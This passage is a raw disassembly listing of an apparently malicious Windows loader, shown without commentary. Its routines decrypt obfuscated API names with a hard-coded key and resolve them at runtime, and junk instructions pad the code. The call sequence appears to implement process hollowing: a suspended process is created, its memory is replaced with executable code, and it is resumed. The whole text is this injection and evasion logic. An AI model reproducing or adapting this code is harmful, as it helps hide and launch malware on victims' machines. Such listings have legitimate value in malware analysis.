		call	dword_1000A7D4
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_100018FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000191D	proc near		; CODE XREF: sub_10001A2B+71p

var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
Dst		= dword	ptr -74h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	ebx
		push	esi
		push	edi
		push	44h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		nop
		nop
		nop
		nop
		push	10h		; Size
		push	0		; Val
		lea	eax, [ebp+var_10]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_1000A7F0
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	loc_10001A23
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_10]
		mov	[eax], ecx
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		nop
		nop
		nop
		nop
		nop
		nop
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 10007h
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_10]
		push	dword ptr [eax]
		call	dword_1000A7CC
		lea	eax, [ebp+var_78]
		push	eax
		push	4
		push	[ebp+arg_18]
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+0A4h]
		add	eax, 8
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	dword_1000A7F4
		mov	eax, [ebp+arg_18]
		mov	eax, [eax]
		mov	[ebp+var_7C], eax


loc_100019DC:				; CODE XREF: sub_1000191D+F7j
		push	1Ch
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+var_7C]
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	dword_1000A7FC
		test	eax, eax
		jz	short loc_10001A16
		nop
		nop
		nop
		nop
		mov	[ebp+var_20], 10000h
		cmp	[ebp+var_20], 0
		jz	short loc_10001A07
		jmp	short loc_10001A16
; ---------------------------------------------------------------------------


loc_10001A07:				; CODE XREF: sub_1000191D+E6j
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_7C]
		add	eax, [ebp+var_24]
		mov	[ebp+var_7C], eax
		jmp	short loc_100019DC
; ---------------------------------------------------------------------------


loc_10001A16:				; CODE XREF: sub_1000191D+D5j
					; sub_1000191D+E8j
		mov	eax, [ebp+arg_18]
		mov	ecx, [ebp+var_7C]
		sub	ecx, [eax]
		mov	eax, [ebp+arg_1C]
		mov	[eax], ecx


loc_10001A23:				; CODE XREF: sub_1000191D+5Bj
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_1000191D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10001A2B(char	*Source, int, int, int,	int, int, int)

sub_10001A2B	proc near		; CODE XREF: sub_10001CF2+43p

var_2E8		= byte ptr -2E8h
var_2E4		= dword	ptr -2E4h
var_2E0		= dword	ptr -2E0h
var_2DC		= dword	ptr -2DCh
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_230		= dword	ptr -230h
var_224		= dword	ptr -224h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 2E8h
		push	ebx
		push	esi
		push	edi
		or	[ebp+var_2DC], 0FFFFFFFFh
		push	[ebp+arg_14]
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+34h]
		push	[ebp+Source]	; Source
		call	sub_100017C3
		add	esp, 0Ch
		mov	[ebp+var_2D8], eax
		cmp	[ebp+var_2D8], 0
		jnz	short loc_10001A6C
		mov	eax, [ebp+var_2DC]
		jmp	loc_10001CED
; ---------------------------------------------------------------------------


loc_10001A6C:				; CODE XREF: sub_10001A2B+34j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2E0]
		push	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_2D4]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+var_2D8]
		call	sub_1000191D
		add	esp, 20h
		test	eax, eax
		jz	loc_10001CDB
		and	[ebp+var_2E4], 0
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+34h]
		cmp	eax, [ebp+var_2E0]
		jnz	short loc_10001AFE
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_14]
		jb	short loc_10001AFE
		nop
		nop
		nop
		mov	eax, [ebp+var_2E0]
		mov	[ebp+var_2E4], eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	40h
		push	[ebp+var_4]
		push	[ebp+var_2E4]
		push	[ebp+var_2DC]
		call	dword_1000A804
		nop
		nop
		nop
		jmp	loc_10001BA1
; ---------------------------------------------------------------------------


loc_10001AFE:				; CODE XREF: sub_10001A2B+94j
					; sub_10001A2B+9Cj
		call	?__uncaught_exception@@YA_NXZ ;	__uncaught_exception(void)
		test	eax, eax
		jz	loc_10001BA1
		nop
		nop
		nop
		push	[ebp+var_2E0]
		push	[ebp+var_2DC]
		call	sub_100018FC
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_10001B4A
		push	40h
		push	3000h
		push	[ebp+arg_14]
		mov	eax, [ebp+arg_8]
		push	dword ptr [eax+34h]
		push	[ebp+var_2DC]
		call	dword_1000A838
		mov	[ebp+var_2E4], eax
		nop
		nop
		nop


loc_10001B4A:				; CODE XREF: sub_10001A2B+F8j
		cmp	[ebp+var_2E4], 0
		jnz	short loc_10001BA1
		push	[ebp+arg_8]
		call	sub_10001825
		pop	ecx
		test	eax, eax
		jz	short loc_10001BA1
		nop
		nop
		nop
		push	40h
		push	3000h
		push	[ebp+arg_14]
		push	0
		push	[ebp+var_2DC]
		call	dword_1000A838
		mov	[ebp+var_2E4], eax
		cmp	[ebp+var_2E4], 0
		jz	short loc_10001B9E
		push	[ebp+var_2E4]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		call	sub_10001853
		add	esp, 0Ch


loc_10001B9E:				; CODE XREF: sub_10001A2B+15Dj
		nop
		nop
		nop


loc_10001BA1:				; CODE XREF: sub_10001A2B+CEj
					; sub_10001A2B+DAj ...
		cmp	[ebp+var_2E4], 0
		jz	loc_10001CAD
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_2E8]
		push	eax
		push	4
		lea	eax, [ebp+var_2E4]
		push	eax
		mov	eax, [ebp+var_230]
		add	eax, 8
		push	eax
		push	[ebp+var_2DC]
		call	dword_1000A83C
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_2E4]
		mov	[eax+34h], ecx
		nop
		nop
		nop
		nop
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+var_2E4]
		push	[ebp+var_2DC]
		call	dword_1000A83C
		test	eax, eax
		jz	short loc_10001C7D
		mov	[ebp+var_2D4], 10007h
		nop
		nop
		nop
		nop
		mov	eax, [ebp+var_2E4]
		cmp	eax, [ebp+var_2E0]
		jnz	short loc_10001C3F
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+34h]
		mov	ecx, [ebp+arg_8]
		add	eax, [ecx+28h]
		mov	[ebp+var_224], eax
		jmp	short loc_10001C51
; ---------------------------------------------------------------------------


loc_10001C3F:				; CODE XREF: sub_10001A2B+1FEj
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_2E4]
		add	ecx, [eax+28h]
		mov	[ebp+var_224], ecx


loc_10001C51:				; CODE XREF: sub_10001A2B+212j
		lea	eax, [ebp+var_2D4]
		push	eax
		push	[ebp+var_8]
		call	dword_1000A830
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	[ebp+var_8]
		call	dword_1000A824
		push	[ebp+var_8]
		call	dword_1000A7D0
		jmp	short loc_10001CAB
; ---------------------------------------------------------------------------


loc_10001C7D:				; CODE XREF: sub_10001A2B+1E2j
		push	0
		push	[ebp+var_2DC]
		call	dword_1000A84C
		push	[ebp+var_8]
		call	dword_1000A7D0
		nop
		nop
		nop
		nop
		push	[ebp+var_2DC]
		call	dword_1000A7D0
		or	[ebp+var_2DC], 0FFFFFFFFh


loc_10001CAB:				; CODE XREF: sub_10001A2B+250j
		jmp	short loc_10001CDB
; ---------------------------------------------------------------------------


loc_10001CAD:				; CODE XREF: sub_10001A2B+17Dj
		push	0
		push	[ebp+var_2DC]
		call	dword_1000A84C
		push	[ebp+var_8]
		call	dword_1000A7D0
		nop
		nop
		nop
		nop
		push	[ebp+var_2DC]
		call	dword_1000A7D0
		or	[ebp+var_2DC], 0FFFFFFFFh


loc_10001CDB:				; CODE XREF: sub_10001A2B+7Bj
					; sub_10001A2B:loc_10001CABj
		push	[ebp+var_2D8]
		call	sub_10002E9C
		pop	ecx
		mov	eax, [ebp+var_2DC]


loc_10001CED:				; CODE XREF: sub_10001A2B+3Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10001A2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001CF2	proc near		; CODE XREF: WinMain(x,x,x,x)+191p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		or	[ebp+var_10], 0FFFFFFFFh
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_100014CA
		add	esp, 18h
		test	eax, eax
		jz	short loc_10001D4E
		push	[ebp+arg_C]	; int
		push	[ebp+var_4]	; int
		push	[ebp+var_C]	; int
		push	[ebp+var_8]	; int
		push	[ebp+var_14]	; int
		push	[ebp+arg_4]	; int
		push	offset dword_1000A85C ;	Source
		call	sub_10001A2B
		add	esp, 1Ch
		push	4000h
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	dword_1000A800


loc_10001D4E:				; CODE XREF: sub_10001CF2+2Aj
		mov	eax, [ebp+var_10]
		leave
		retn
sub_10001CF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001D53	proc near		; CODE XREF: WinMain(x,x,x,x)+74p
					; WinMain(x,x,x,x)+D1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jz	loc_1000231F
		push	9		; int
		push	offset dword_10008044 ;	int
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset dword_10008044 ;	Dest
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset dword_10008050 ;	int
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset dword_10008050 ;	Dest
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset dword_10008220 ;	int
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset dword_10008220 ;	Dest
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	0Ch		; int
		push	offset Dest	; "ί&fxR@"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset Dest	; "ί&fxR@"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Eh		; int
		push	offset aPFXR@U	; "ί&fxR@ԓ"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aPFXR@U	; "ί&fxR@ԓ"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		push	12h		; int
		push	offset aGAAqUf	; "ߣ |a[F۳"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGAAqUf	; "ߣ |a[F۳"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	14h		; int
		push	offset asc_10008094 ; "±"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset asc_10008094 ; "±"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Bh		; int
		push	offset a1i_Vb_zv ; "޴1_v_V"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset a1i_Vb_zv ; "޴1_v_V"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		push	0Eh		; int
		push	offset a1mgDbqJE ; "۴1gDQJĥ"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset a1mgDbqJE ; "۴1gDQJĥ"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	10h		; int
		push	offset aGSQtzc@VT ; "ߣ	{qZ@٢ќt"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGSQtzc@VT ; "ߣ	{qZ@٢ќt"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	11h		; int
		push	offset aG5icRJ	; "ʣ5C{[\\"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aG5icRJ	; "ʣ5C{[\\"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Eh		; int
		push	offset aPFXvkU	; "ί&fxK]Γ"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aPFXvkU	; "ί&fxK]Γ"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	10h		; int
		push	offset aPFXglBx	; "ί&fxL[ҵx"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aPFXglBx	; "ί&fxL[ҵx"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	12h		; int
		push	offset aV	; "ϴ=v"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aV	; "ϴ=v"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	10h		; int
		push	offset aGSQtzc@VT_0 ; "ˣ {qZ@٢ќt"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGSQtzc@VT_0 ; "ˣ {qZ@٢ќt"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset aG@ilN	; "ʣ'~@LN"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aG@ilN	; "ʣ'~@LN"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Bh		; int
		push	offset aKVquazJ	; "۪;vuZJ"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aKVquazJ	; "۪;vuZJ"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	10h		; int
		push	offset aGAzUzECs ; "̣&zu[]صїs"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGAzUzECs ; "̣&zu[]صїs"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Bh		; int
		push	offset aPFXLJ	; "ί&fxLJ"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aPFXLJ	; "ί&fxLJ"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset aGBUqjB	; "ˣ |ujB"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGBUqjB	; "ˣ |ujB"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset aGBUqjB_0 ; "ߣ |ujB"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGBUqjB_0 ; "ߣ |ujB"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	5		; int
		push	offset aK1ic	; "˪1c"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aK1ic	; "˪1c"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	11h		; int
		push	offset a8oDbJ	; "ʲ8|d[\\"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset a8oDbJ	; "ʲ8|d[\\"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	13h		; int
		push	offset a8ivUnzjE ; "ʲ8v{NJĥ"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset a8ivUnzjE ; "ʲ8v{NJĥ"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	1Eh		; int
		push	offset a8kvWSeENonOK ; "ʲ8vWS]ҥǍo{ [k"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset a8kvWSeENonOK ; "ʲ8vWS]ҥǍo{ [k"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	0Bh		; int
		push	offset a1mgRRN	; "۴1gRRn"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset a1mgRRN	; "۴1gRRn"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	8		; int
		push	offset aG5iuXc	; "ʣ5Ux"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aG5iuXc	; "ʣ5Ux"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Dh		; int
		push	offset aGLzQawpj ; "ߣ zqWJ"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGLzQawpj ; "ߣ zqWJ"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Eh		; int
		push	offset aGLzQgqA	; "ˣ zqQAó"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGLzQgqA	; "ˣ zqQAó"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset aGSF_J	; "ߣ `f_J"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGSF_J	; "ߣ `f_J"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Bh		; int
		push	offset aG3vcZMn	; "ʣ3cz[n"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aG3vcZMn	; "ʣ3cz[n"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	10h		; int
		push	offset aG3FFkhC	; "ʣ3ffhC³"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aG3FFkhC	; "ʣ3ffhC³"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	0Bh		; int
		push	offset aG3o	; "ʣ3"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aG3o	; "ʣ3"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Bh		; int
		push	offset aVJm	; "۳&v`M]"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aVJm	; "۳&v`M]"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	7		; int
		push	offset aIzIqL	; ":ql"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aIzIqL	; ":ql"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	6		; int
		push	offset aUlMa	; "#a"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aUlMa	; "#a"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset aI5i_Vb_zv ; "ԩ5_v_V"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aI5i_Vb_zv ; "ԩ5_v_V"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	10h		; int
		push	offset aGAAqAnBa ; "ߣ |a[Nٲ؁A"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGAAqAnBa ; "ߣ |a[Nٲ؁A"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ah		; int
		push	offset aKPrRb	; "ߪ;rR["
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aKPrRb	; "ߪ;rR["
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Bh		; int
		push	offset aKPrUqrL	; "ߪ;rURL"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aKPrUqrL	; "ߪ;rURL"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		push	0Ch		; int
		push	offset aGBrLz@	; "ˣ r`L@"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGBrLz@	; "ˣ r`L@"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	0Ch		; int
		push	offset aGBrLz@_0 ; "ߣ r`L@"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aGBrLz@_0 ; "ߣ r`L@"
		call	_strcpy
		pop	ecx
		pop	ecx
		nop
		nop
		nop
		nop
		jmp	short loc_10002361
; ---------------------------------------------------------------------------


loc_1000231F:				; CODE XREF: sub_10001D53+Aj
		push	24h		; int
		push	offset aIAXNASOI ; "۩:axnAҺoI"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aIAXNASOI ; "۩:axnAҺoI"
		call	_strcpy
		pop	ecx
		pop	ecx
		push	4		; int
		push	offset aG1	; "ڣ1"
		push	offset aLulhelloworldc ; "lulhelloworldcppftw"
		call	sub_1000109E
		add	esp, 0Ch
		push	eax		; Source
		push	offset aG1	; "ڣ1"
		call	_strcpy
		pop	ecx
		pop	ecx


loc_10002361:				; CODE XREF: sub_10001D53+5CAj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_10001D53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10002366	proc near		; CODE XREF: WinMain(x,x,x,x)+E1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	offset aI5i_Vb_zv ; "ԩ5_v_V"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A828,	eax
		push	offset dword_10008044
		call	dword_1000A828
		mov	[ebp+var_8], eax
		push	offset dword_10008220
		call	dword_1000A828
		mov	[ebp+var_4], eax
		nop
		nop
		nop
		nop
		push	offset Dest	; "ί&fxR@"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A858,	eax
		nop
		nop
		nop
		nop
		push	offset aPFXR@U	; "ί&fxR@ԓ"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A838,	eax
		push	offset aGAAqUf	; "ߣ |a[F۳"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A808,	eax
		push	offset asc_10008094 ; "±"
		push	[ebp+var_8]
		call	dword_1000A80C
		mov	dword_1000A7D4,	eax
		nop
		nop
		nop
		nop
		push	offset a1i_Vb_zv ; "޴1_v_V"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7D8,	eax
		push	offset a1mgDbqJE ; "۴1gDQJĥ"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7F0,	eax
		push	offset aGSQtzc@VT ; "ߣ	{qZ@٢ќt"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7CC,	eax
		push	offset aG5icRJ	; "ʣ5C{[\\"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7F4,	eax
		nop
		nop
		nop
		nop
		push	offset aPFXvkU	; "ί&fxK]Γ"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7FC,	eax
		push	offset aPFXglBx	; "ί&fxL[ҵx"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A804,	eax
		push	offset aV	; "ϴ=v"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A83C,	eax
		push	offset aGSQtzc@VT_0 ; "ˣ {qZ@٢ќt"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A830,	eax
		push	offset aG@ilN	; "ʣ'~@LN"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A824,	eax
		push	offset aKVquazJ	; "۪;vuZJ"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7D0,	eax
		nop
		nop
		nop
		nop
		push	offset aGAzUzECs ; "̣&zu[]صїs"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A84C,	eax
		push	offset aPFXLJ	; "ί&fxLJ"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A800,	eax
		push	offset aGBUqjB_0 ; "ߣ |ujB"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A848,	eax
		push	offset aGBUqjB	; "ˣ |ujB"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A81C,	eax
		nop
		nop
		nop
		nop
		push	offset aK1ic	; "˪1c"
		push	[ebp+arg_0]
		call	dword_1000A80C
		mov	dword_1000A7E8,	eax
		push	offset a8oDbJ	; "ʲ8|d[\\"
		push	[ebp+var_8]
		call	dword_1000A80C
		mov	dword_1000A82C,	eax
		push	offset a8ivUnzjE ; "ʲ8v{NJĥ"
		push	[ebp+var_8]
		call	dword_1000A80C
		mov	dword_1000A7C8,	eax
		push	offset a8kvWSeENonOK ; "ʲ8vWS]ҥǍo{ [k"
		push	[ebp+var_8]
		call	dword_1000A80C
		mov	dword_1000A7DC,	eax
		nop
		nop
		nop
		nop
